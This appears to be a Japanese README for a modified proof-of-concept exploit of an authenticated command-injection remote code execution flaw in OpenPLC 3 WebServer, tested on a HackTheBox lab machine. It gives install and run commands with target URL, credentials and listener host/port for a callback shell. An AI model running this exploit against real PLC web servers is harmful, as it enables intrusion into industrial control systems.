
OpenPLC 3 WebServer の認証済みリモートコード実行。
OpenPLC 3 WebServer 認証済みリモートコード実行。
Open PLC Webserver v3 にはコマンドインジェクションが存在し、リモートの攻撃者が任意のコードを実行できます。HTB の Wifinetictwo.htb マシンでのみテスト済みです。
この脆弱性を悪用するすべてのスクリプトで問題が発生しました。おそらく Parrot を使用しているか、ブラウザが原因かもしれません。ログインには Chromium が動作しますが、Firefox ではログインに問題があり、ログイン用の POST リクエストで Web サーバーに何か奇妙なことが起こります。
thewhiteh4t のスクリプトを修正しました。一部(主にアップロードメソッド)はコピーしただけですが、エクスプロイトを起動するためにサーバーからクッキーを取得する部分を変更しました。
元の PoC は Fellipe Oliveira によって提供されています。
同じ問題でお困りの場合、お役に立てば幸いです。
pip3 install requests
python3 exploit.py http://10.129.x.x:8080 user pass --lhost 10.10.x.x --lport xxxx
あるいは、exploit.py を変更することもできます。
...
# LHOST y LPORT defaults
LHOST = '10.10.1.1'
LPORT = '4444'
...
python3 exploit.py http://10.129.x.x:8080 user pass